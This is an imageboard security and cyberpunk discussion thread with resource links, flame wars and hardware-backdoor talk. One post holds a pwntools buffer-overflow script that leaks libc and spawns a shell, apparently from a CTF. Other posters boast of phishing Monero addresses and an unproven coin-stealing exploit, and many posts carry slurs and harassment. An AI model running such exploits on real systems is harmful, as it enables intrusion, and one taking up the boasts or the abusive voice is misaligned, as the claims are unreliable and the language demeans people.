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Infosec questions: building an obsessive need to find your own answers could be a key for more than one chain.

All are welcome here; the world is fucked and we are all in this together.

Cypherpunk Manifesto:
>https://www.activism.net/cypherpunk/manifesto.html
Cyberpunk Manifesto:
>http://project.cyberpunk.ru/idb/cyberpunk_manifesto.html
Hacker Manifesto:
>http://phrack.org/issues/7/3.html
Guerilla Open Access Manifesto:
>https://archive.org/stream/GuerillaOpenAccessManifesto/Goamjuly2008_djvu.txt

Fables, realities, prophecies and mythology of a community:
What is cyberpunk:
>https://hastebin.com/ayufiyuvew
The importance of a cyberpunk mindset applied to a cybersecurity skillset.:
>https://youtu.be/pcSlowAhvUk
Cyberpunk directory:
>https://hastebin.com/efohokurid
Cyberpunk resources:
>https://hastebin.com/onequqodih

Cybersecurity essentials/resources:
Reference books:
>https://mega.nz/#F!YigVhZCZ!RznVxTiA0iN-N6Ps01pEJw
>PASSWORD : ABD52oM8T1fghmY0
>https://hastebin.com/oquzikafuz
>https://hastebin.com/owulepames
>Cntrl + F Basic Knowledges, Basic Training, Arms/Arm
>https://hastebin.com/edutujabez
Endware: Heavy armor for anons, by anons:
>https://endchan.xyz/os/res/32.html

Free Shells and more:
>https://sdf.org/
>https://shells.red-pill.eu/

/cyb/ FTP:
>ftp://collectivecomputers.org:21212/Books/Cyberpunk/
>user/password == guest

IRC:
>irc://irc.rizon.net:6697
>#/g/punk
>#/g/sec
>(All require SSL)
>IRC guide:
>https://hastebin.com/zojomutudi

Thread archive:
>https://archive.rebeccablacktech.com/g/search/subject/cyb/
>https://archive.rebeccablacktech.com/g/search/subject/sec/
>https://archive.rebeccablacktech.com/g/search/text/%2Fcyb%2F%20%2Fsec%2F/
Thread backup:
>https://www.cyberpunked.org/

Last Threads:
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Forgot thread:
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Hiya/g/!

How are you all doing this wonderful new year? I hope all is well.

:)
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>>64102573
>WinFaG
>Winfag
Install Gentoo.
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>>64102573
Also, you're really cute. :3
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>>64102598
Thanks :3c you too.
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>>64102625
I'd let you slurp on my soy latte. ;)
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>>64102638
wEw
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>>64102658
I knew I was bi, but I rarely see a guy I genuinely find attractive. Apparently you're my type. :D
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>>64102668
WeW
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what happened to the OH guy?
>inb4 I'm still here. Working on xyz atm.
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>>64102726
Scrummy. ;)

>>64102750
No idea, but I guess I'll be around more.
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>>64102573
stop changing faggot

also grow your hair
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>>64102775
I can't not age man. It's been 7 years or something like that.
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>>64102573
>>64102625
>>64102658
>>64102726
>>64102794
You know I was actually interested in discussion security with other /g/entoomen. But seeing your attentionwhorey face everywhere, where it does not belong, really makes me sick. Go back to /soc/, you degenerate worm of a manwhore. Join the 45%.
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>>64102899
Christ, /pol/ sure is leaky nowadays.
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>>64102921
Fuck off, faggot. Don't you have some applefags to suck off? Just because I expose literal degenerate faggotry in a thread, doesn't mean I'm /pol/. Fucking christ, next you'll see guys fucking dogs on here and the people who will call them out on it, will be called /pol/ too.
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>>64102899
?? I've never once posted on >>>/soc/
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>>64103057
Well /soc/ would be a better place for such an attentionwhore like yourself.
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>>64103168
I've been doing this for 7 or 8 years. I'm never leaving.
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>>64103179
>>>64103168 (You)
>I've been doing this for 7 or 8 years. I'm never leaving.

What the actual fuck does your unwashed goblin face have to do with internet security?
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>>64102972
What's exactly your problem with a little dose of homosexuality? Are you some kind of closet bigot? I wouldn't be too surprised.
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#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

def wait_for_prompt(r):
print io.recvuntil("overflow me:")

exe = context.binary = ELF('bin')

libc_path = '/lib/i386-linux-gnu/libc.so.6'
libc = ELF(libc_path)

def start(argv=[], *a, **kw):
return process([exe.path] + argv, *a, **kw)

#==========================================

io = start()

io.recvuntil('stdin: 0x')
leak_stdin = int(io.recvuntil('\n')[:-1],16)

libc.address = leak_stdin - libc.symbols['stdin'] + 0x860

bin_sh = libc.address + 0x164dc8
system = libc.symbols['system']

wait_for_prompt(io)

payload = 'A' * 76
payload += p32(system)
payload += p32(0x90)
payload += p32(bin_sh)

io.sendline(payload)

io.interactive()

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>>64103201
Speaking about security, I found out yesterday Dr. Stallman thinks we shouldn't have wifi passwords.
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>>64103255
What's his reasoning?
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>>64103255

Holy shit, I was actually excited to see this thread but you genuinely ruined it. Do you not understand at all the aesthetics and content of these threads? Couldn't you have posted this inane stuff literally anywhere else?
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If you didn't have much money or HDD space (so no clearing out a drive and playing file tetris) and wanted to move from a fully Windowsed out system with unencrypted drives and such to a secure Linux system, how would you do it? Should I just buy a cheap laptop that can handle web browsing and video playing and slowly migrate all of my data to it and new external drives as I need it until it's eventually all sorted? Is there a better solution? Could I get a one-time data tape backup of all of my data (only like 7 or 8 TB worth), or is such a thing too expensive?
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>>64103320
I'm not sure. It's hidden on his website, he was looking for someone to do a speech about it. I'm tempted to email him asking him about it.
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>>64103328
>Someone posted something I don't like in a thread I do like.
>So, I'm going to continue taking notice of it and instead of trying to improve the thread, I'm going to further shit it up with my insane rubbish, even though he isn't going to take notice of you and stop.
Whoa, you seem so rational.
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>>64103339

His generation were against passwords of all types. Read "Hackers: Heroes of the Computer Revolution".

And please stop posting pictures of yourself and ruining the feel of these threads, stop being selfish.
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>>64103339
Is it a view he has recently espoused?
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>>64103368
This is true.
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Don't die yet.
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A week was enough to kill the regulars?
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Shamelessly bumping to try and revive this general.
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>>64104685
Look at this fucking thread and give me a reason to want to stay.
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>>64105117
>Look at this one thread and allow to form a bias.
Or maybe, look at the past threads and the potential of the general? It was alive and kicking right up until before Christmas, when the most recent OP stopped posting it for some reason and everyone vapourized.
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>>64103223
owo what's this
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>>64105146
I stopped coming because it became flame wars between maderas and others, now I come back here and see some fucking idiot posting his stupid face all over the place and no one calling him out or reporting the post. I have better things to do than lurk/discuss here.
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Bumping with a link for newfags
https://www.cyberpunked.org/
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>>64105206
Holy shit, you self-important arsehat. I was going to be nice to try and get you to stick around, but you're a bellend, so leave if you wish.
Although, I will make a few comments regardless:
>I stopped coming because it became flame wars between maderas and others
Well, Maderas (and others) are clearly no longer present. And even if they were you could defuse the situation, or ignore it and post constructive things which would, if they were truly interested in the subject, draw their attention away from inane shitposting. - This is something you could've and should've (since you're so important) done to save the quality of the general earlier.
>now I come back here and see some fucking idiot posting his stupid face all over the place and no one calling him out or reporting the post
First of all, he has been doing that for years, learn to ignore it. - What're you, a newfag?
How do you know no one reported it? You know, since it is against the rules to tell someone if you've reported the content or not? In which case, it would be the fault of board moderation for not addressing it. - Once again, you could've posted quality content to engage the genuinely interested (since you're so important).
>I have better things to do than lurk/discuss here.
Ah yes, you're very important with mondo important Internet serious business to discuss.
Get over yourself faggot, I hate people like you, full of issues, but never give, or initiate the solution.
Well, I think I've said enough, now I'll let you pick up your teeth off of the ground and catch your breath from that winding and decide if you're going to stop being a pompous newfag, or whether the pull of Plebbit is too strong and leave.
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>>64105154
It looks like a script for delivering a payload, anon.
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>>64103338
If you don't have much money and HDD Space this is not the most effective approach. About how much HDD space we are talking here? Because Linux doesn't need much. Twenty 20gb are enough. You could also boot from an USB stick.
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Look at the absolute state of this place. Don’t reply to the attention whores and they’ll soon get bored and leave...is it that hard?
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>>64105309
Your post made me laugh so I'm giving you your (You).

>Well, Maderas (and others) ...
So they're gone? Well, then what's left of the general? They were the only ones that actively commented on things and seemed to know what they were talking about, the so called "4 people".
>This is something ...
Oh, so obviously they would've stopped rambling at eachother to look at my candy. That situation kept happening for quite a few threads, it wasn't just shitflinging for a single thread.

>First of all ...
Ignoring things, exactly what /g/ started doing and the reason it's shit now.
>just ignore the tripfag he'll go away
>just ignore the shitposters they'll go away
Now tell me it worked.

When a post gets many reports, a janitor or a mod checks it and decides if it's against the rules and deletes it and investigates a bit, obviously, this has not happened because a) not reported enough (people in the thread) b) not against the rules (janitors/mods). In both cases it gives me a reason to not come back here.

>Ah yes, you're very important
Yes, I'm very important to myself and I value my free time, I spend the time I spent in the past here reading news or studying, which is all around better for myself.
>full of issues, but never give, or initiate the solution.
What makes you think I never tried to "initiate the solution"? It just never works, that's why I stopped coming to 4chan, the amount of retards is bigger than the amount of people with a brain.

>wahhh plebbit wahhh newfag
I don't visit reddit at all, and have never done it, and have probably been on 4chan longer than you've been here. Also you're throwing both "plebbit" and "newfag" around a lot, it is very possible that you are the newfag.

After I click "Submit" and see my post has properly been uploaded I'm going to close this tab and go do something useful, so look at this post a few times and make sure you understand all my points fully, but don't bother making a response.
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>>64105759
Predictable or what and proving my point exactly about what you are.
Also, a few hints that you're the Plebbitor newfag:
>Plebbit spacings
>Not knowing about this glorious shitposter (>>64102573)
You will not be missed.
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>>64105793
Not him, but you should seriously kill yourself, kike.
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>>64103339
Fuck off with your shitty headset, faggot. Go back to tumblr.
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>>64105895
>kike
Go home:
>>>/pol/
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>>64105309
>>64105759
Wait, Maderas is gone? Is that why there hasn't been regular threads?
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>>64106090
Well, I haven't seen him around since and (http://boards.4chan.org/g/thread/63945649) was the last semi-successful thread, which followed the last successful thread (http://boards.4chan.org/g/thread/63861775#p63861775). So that's over half a month without a successful thread. I guess OP just forgot?
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>>64102458
Where do you find all the futuristic distopian art you post in this thread?
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>>64106182
DeviantArt is a good source.
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>>64102458
Good work. This is thread 001 of 2018.

BTW you missed the FAQ.

Also, didn't we return to pastebin rather than hastebin?
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>>64106254
I need rework the OP slightly, I'll make amends before the next thread and hope that our activity returns.
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ave been dropping 'bitcoin wallet backup' cds around the joint
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>>64106617
How's it working out for you?
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>>64103217
>What's exactly your problem with a little dose of homosexuality?
Because it's off-topic and belongs on >>>/soc/. I would do the same thing to a woman or a straight man that was an attention-seeking whore .This is a board about technology, not camwhores
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>>64107064
half the threads on /g/ are social networking bullshit anyway. still doesn't mean /pol/shittery is allowed either.
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>>64107064
Fair enough, I understand your standpoint now.
Shall we get back on-topic?
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>>64102458
is death grips an approved band ?
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>>64107184
approval is not approved.
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>>64107203
it's the same shit
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What a fucking shitshow of a thread. Abandon ship...
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>>64107224
>Still posts
Whoa, aren't you edgy.
How about contributing instead?
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>>64103223
>from pwn import *

Fucking lazy ass shit.

>This entire thread

/cyb/sec/ is fucking dead.
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>>64107528
A fucking general that shows up on a long dead board is dead, surprising no one.
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>>64104685
Not really, it was the holiday that did it. This thread is usually slower moving than the inevitable battle station threads that run quickly.

Here we (as in more than one person) are building pasta, FAQ and more. It takes time and thinking rather than pumping out yet another reaction image.
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>>64107528
4chan isn't the centre of the Internet, buddy. I mean, we're living in early cyberpunks times, it certainly isn't dead and will only become more alive and noticeable as we progress.
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>>64107597
No one posted an OP for a whole week, it has been hardly active for around two weeks, that's quite a while. Normally, we'd have had two to three (300+ replies) threads in the past.
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Possibly
=== /cyb/ News
>Review: "Archangel"
http://www.emissourian.com/blogs/mo_books/review-archangel/article_ff421fbe-eee4-11e7-9fd6-bbf4c3e1d7eb.html
>William Gibson’s first attempt at writing a graphic novel, “Archangel,” is brilliant. It packs Gibson’s usual punch. He puts a surprising amount of depth into a 5-chapter science fiction story that moves quickly and is over far too soon.

>Gibson’s last novel, “The Peripheral,” still feels like the most important science fiction novel I’ve read in the last several years. Gibson famously coined the term “cyberspace” in his earlier novels. Lately he’s been writing about time travel, “stubs,” alternate timelines and the scary proposition of a slow-motion armageddon called “The Jackpot.” He continues to explore time travel in “Archangel.”

Any other stories of his with time travel? I must have missed that one.
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>>64106213
thanks anon
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Any recommendations for network security textbooks? These two are used at my school, I've never read them, but am curious to know what you guys like.
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I'm not sure if this is the right forum, but w/e. I've been working a CTF for a few hours now, but this has caught my attention. I noticed that if I add a trailing / to the url, it breaks javascript. Can some one tell what is happening here? Why does it break JS? Is this exploitable?
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>>64109209
Please ignore the failed attempt at XSS. The URL is host/g0rmint/login.php/
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Do you personally tape over your laptop's webcam and/or remove its microphone even if you already use a GNU/Linux distro you trust and administrate yourself?

I know I "should" but I guess the latter fact makes me feel overconfident in that it's not likely to be hijacked. Is this naive from my part?
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>>64109451
A timeless idiom: "Better safe than sorry."
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>>64107656
Well, around here we had a Christmas holiday and I for one took a break from the net. I guess I was not alone.

My hunch from the polls we had, is that the demographics in this thread is a bit older than most of the other generals, and we are probably also fewer than the regular battle station posters.

>>64109451
Distros can be safe but you can still be compromised by hardware and firmware.
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So how's the Intel Management Engine hacking going?
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>>64105918
I love it how you like so much this gif you posted it even though it has zero relation to your post
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>there are people ITT who don't know how to filter tripfaggots
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Night is here. Let's keep this alive.

Also: still looking for inputs on the /sec/ job FAQ.
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>>64108870
I'm always curious of this too, I just pick up whatever I find and hope it's good.
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>>64109451
I'd still remove them anyway, just to be safe.

>>64109863
I must've missed those polls, do you have any links?

>>64110613
How is it coming along?
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>>64110613
Were you the one interested in making a /cyb/er/sec/urity git?
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Has anyone seen this? Netflix series called, "Altered Carbon"

Has kind of a /cyb/ feel to it.

https://www.youtube.com/watch?v=M8PsZki6NGU
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>>64110911
Well, this feels very cyberpunk.
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Can anyone let me know if it's worth to swicth to Waterfox and make ublock origin, https everywhere, noscript and blender working on it?
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>>64111112
just use firefox ESR instead of memefork
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>>64107528

Thats definitly the most common way to import a small library like pwntools for exploit development.
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>>64106090
>>64106129
Jesus fucking Christ if you people would pay a modicum of attention instead of crying that the thread is dead, you'd realise maderas was here last thread with an OH update, and the thread before that to wish us well. He's around. Pay more attention.
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>>64111135
Thanks for the tip.
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>>64110613
is that small lettering random hex? or does it encode ascii or something?
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>>64110911
Heard the novel is good for the genre, Will try to read before it airs.
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>>64110943
I only said kind of, to cover my ass in case majority of people disagreed....
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>>64111112
>>64111135
There's been a Firefox alternatives thread almost daily this last few weeks.

I don't care about it, but my opinion is:
IceCat = IceWeasel > Firefox ESR > Waterfox > Pale Moon
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>>64103217
sorry, masc4masc only in
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>>64105895
is dat sum spongy nederlandse brood I'm seein?
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Do any of you guys have a work in network security? Im in the process of picking a career and it sounds interesting.
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Can anyone provide resources on how best to get into a password protected winzip archive. I'm trying to analyse some malware that got into a clients network. I've figured out two of the three main executables they used, one was a minerbot and the other was standard cryptolock stuff but there's a third exe. One I'm pretty sure contains a keylogger but when launching the exe it opens a password prompt with icon that resembles winzip.

I have some resources available to try bruteforce the archive but I don't know what tools are best to use or what to declare in a password definition/table
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I just did one quick run of social engineering and phished 600 Monero addresses. I assume 100 of them to be completely independen wallets (not connected to exchange verification systems). What can I do with these and when will I be annointed into Antisex.
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>>64115448
Nothing really unless you phish them further. I mean they may not even have moneroj in them. You can't look at the balances unless you have a view key.
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>>64115978
RIP
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>>64116018
Yah Monero is the shit. Satoshi even spoke about shielded transactions. Monero and its community feels the closest to Bitcoin in the early days which I miss so dearly.
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>>64116139
did you know the author of the cryptonote whitepaper is unknown? used a pseudonym same as satoshi.
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>>64111112
Off by one holy fuck
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>>64112637
It actually translates to their mission statement iirc
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>>64110878
>How is it coming along?
Slowly. Still compiling info. Trouble is, people are contradicting each other in most issues such as if certifications are needed or not.

>>64110910
>Were you the one interested in making a /cyb/er/sec/urity git?
That was not me. I just wanted to make a /sec jobs/ FAQ to avoid the same questions appearing in every thread and possibly derailing the conversation without every going further than last time.
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Speaking of /sec/... >>64118035

I can see a market for old 68000 processors for those who prefer their desktops without backdoors and excessive complexities.
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=== /sec/ News
>WeChat denies 'storing' chat histories
http://www.bbc.com/news/technology-42541400
>In a carefully worded riposte, China's most popular messaging app WeChat, has denied "storing chat histories".
>It follows criticism from Chinese businessman Li Shufu, who recently said the firm "must be watching all our WeChats every day".
Nothing is confirmed until it has been officielly denied, as they say.
>In response the Tencent-owned firm said suggestions that it was watching users was "pure misunderstanding".
Bazinga!
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>>64103339
this is the gayest shit i have ever fucking seen kill yourself faggot
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>>64113073
Isn't iceweasel back to regular FF now?
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>>64118950
Yeah, seems so. Didn't know that.
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>>64118350
There's starting to become easier, though still quite expensive, to find RISC-V, MIPS and POWER products. We may even get a full blobless ARM board in some time.
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>>64119298
Nah the last license-free ARM was like 20 years ago, you'd have to redo all that. MIPS is fine and the chinese were big into it for a while but it seems to have died. They had their mips supercomputer and the lemote and now they stopped for no good reason. RiscV/Power is like decades away.
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>>64119298
We do not know if nameless agencies put pressure on semiconductor companies to put in backdoors. Modern chips are so complex it is hard to find a backdoor.

RISC-V is safer but that leaves us with a question about the tool chain that could be compromised to add a backdoor to, say the JTAG port, as the Verilog or VHDL is processed into mask writing instructions in many opaque steps.

This is quite similar to that old Unix compiler that added a backdoor to compiled password program and even new versions of that compiler.
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>>64119376
It depends on what you want to do really.

>RISC-V
HiFive1 with some work could be used for a bigger product like some home automation thing. Maybe even a simplistic terminal.

>POWER
If you have enough money, there's Talos or even a IBM Power Server. I do admit I don't know how "open" they truly are, though.

>MIPS
Though it really lost traction, there's still offers for SOCs, some running openWRT.

So I guess one could build whole environment using only open and/or blobless devices. It would be expensive as hell though.
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>>64119533
>Power
There is the OpenPOWER initiative but the problem remains the same, you cannot trust the mask created or the blobs for proprietary parts.
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>>64111135
Why esr instead of waterfox?
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>>64111112
for what it's worth, waterfox has been working perfectly for me
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Dennou Coil style optical hacks become real
>Psychedelic toasters fool image recognition tech
http://www.bbc.com/news/technology-42554735
>A team of Google researchers has created psychedelic stickers that can fool image recognition software into seeing objects that are not there.
>Using a toaster as an example, the team produced colourful computer-generated patterns by sampling hundreds of photographs of the appliance.
>When the patterns were put next to another item, such as a banana, many neural networks saw a toaster instead.
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>>64111301
He's saying CTF libraries themselves are lazy and don't encourage knowledge.
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>>64120245
Exactly. POWER8 and POWER9 are open via openPOWER. The thing is that there's no one to trust, so unless one wants to use his workstation inside a Faraday cage, there's not much to do.
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>>64102573
>https://hastebin.com/edutujabez
Fucking gay ass shit faggot nigger fishbone.
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>>64117834
For people breaking into Infosec, "do the needful" and tell them the truth without fluff, 4chan style. For example, people recommending that beginners pursue CISSP right off the bat are fucktards. Recommending burgers to take out huge student loans ($$$$$) for X degree is also a bad idea.

Infosec is already difficult to enter and more good people are needed, so we shouldn't spread disinfo. At the same time, spoon feeding is bad and we don't want retarded SOC monkeys doing nothing but clicking on SIEM events, creating tickets, and escalating everything to T2. Without a solid background (education, experience, certs,zotac etc.) or connections then people aren't going to get in, simple as that, barring extreme luck.

Links are definitely helpful but don't just point people there and say "good luck faggot".
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>>64122822
How is Hastebin gay?
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>>64123574
It's not that difficult, you need solid networking experience before you apply to anything infosec, I see them wanting prior sysadmins. I got a shortcut in that area because I have a Masters degree in cyber security and have a Bachelors in Compsci with specialization in networking, but it's totally doable.

But as you said, I'm not a Freedomland(TM) user. It's easy to get a degree that doesn't burn your pockets inside out in my country whilst having a job opportunity.
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>>64124907
Which cunt?
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Which laptop is safe, now that my beloved librebooted x200 is unsafe?
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>>64118774
We need more /sec/ news.
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>>64125990
None.Maybe some P3.
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>>64125990
Nothing until there's some kernel patches out. Install the patches when they come out and you'll be secure again. At least until the next intel NSA backdoor is found.
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>>64122764
>to use his workstation inside a Faraday cage
I am afraid you are a little behind the times, anon.

>Meet “badBIOS,” the mysterious Mac and PC malware that jumps airgaps
https://arstechnica.com/information-technology/2013/10/meet-badbios-the-mysterious-mac-and-pc-malware-that-jumps-airgaps/

>CLEVER ATTACK USES THE SOUND OF A COMPUTER’S FAN TO STEAL DATA
https://www.wired.com/2016/06/clever-attack-uses-sound-computers-fan-steal-data/
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>>64115978
Okay, I've developed a very simple exploit to trick the blockchain into forcing coins from a specificed wallet address to your own. Like reversing the flow of coins, so when you send something like 1 XMR, you actually withdraw 1 XMR from the target wallet. But, you need to have the specified amount in your own wallet for it to work. When do I get into Antisex.
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>>64126612
>>64125990

What’s happened now? Another exploit?
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>>64128748
intel x86 cache leaking or something, hardware's ded.
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>>64106617

clever girl dawt png
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>>64128748
From Tom Lendacky
Subject [PATCH] x86/cpu, x86/pti: Do not enable PTI on AMD processors
Date Tue, 26 Dec 2017 23:43:54 -0600
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AMD processors are not subject to the types of attacks that the kernel
page table isolation feature protects against. The AMD microarchitecture
does not allow memory references, including speculative references, that
access higher privileged data when running in a lesser privileged mode
when that access would result in a page fault.

Disable page table isolation by default on AMD processors by not setting
the X86_BUG_CPU_INSECURE feature, which controls whether X86_FEATURE_PTI
is set.

Signed-off-by: Tom Lendacky
---
arch/x86/kernel/cpu/common.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/x86/kernel/cpu/common.c b/arch/x86/kernel/cpu/common.c
index c47de4e..7d9e3b0 100644
--- a/arch/x86/kernel/cpu/common.c
+++ b/arch/x86/kernel/cpu/common.c
@@ -923,8 +923,8 @@ static void __init early_identify_cpu(struct cpuinfo_x86 *c)

setup_force_cpu_cap(X86_FEATURE_ALWAYS);

- /* Assume for now that ALL x86 CPUs are insecure */
- setup_force_cpu_bug(X86_BUG_CPU_INSECURE);
+ if (c->x86_vendor != X86_VENDOR_AMD)
+ setup_force_cpu_bug(X86_BUG_CPU_INSECURE);

fpu__init_system(c);
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It looks like intel bug fix will severely hurt apps with frequent context switching. Openvpn uses them a lot. So maybe its time to move on and try something new for selfhosted vpn or tor gateway?
Is Wireguard or Shadowsocks any good?
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>>64128611
wtf. If you actually did that you could get paid lots of money.
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>>64128611
>>64115448
What is antisex?
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>>64130245
Anons.
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>>64130264
Anonymous?

Lol
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>>64130208
Yeah, but I don't know anyone in the scene. I'm getting a bunch of slavs offering me "gift," but I don't trust them enough to go through with it. There's a few onion forums geared to this sort of thing, but I only know of one that specializes in botnets, and it's invite only. Hell, I could probably exploit it myself and start trading.
>>64130245
AntiSec, what AnonSec should have been.
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>>64130993
I seriously doubt you have an exploit to steal Monero lmao.
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>>64131195
Me too, fellow law-abiding citizen. If you could point me in the direction of the people who may profit from such an exploit, I'll be able to report them to the authorities as soon as possible. You can even have a referral bonus of 4 XMR if they turn out to be legitimate.
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>>64131235
>>64130993
>>64128611
stop larping kid
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Is SOC Analyst work soul crushing?
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Are there any good FOSS file managers besides Amaze? I didn't really like it.




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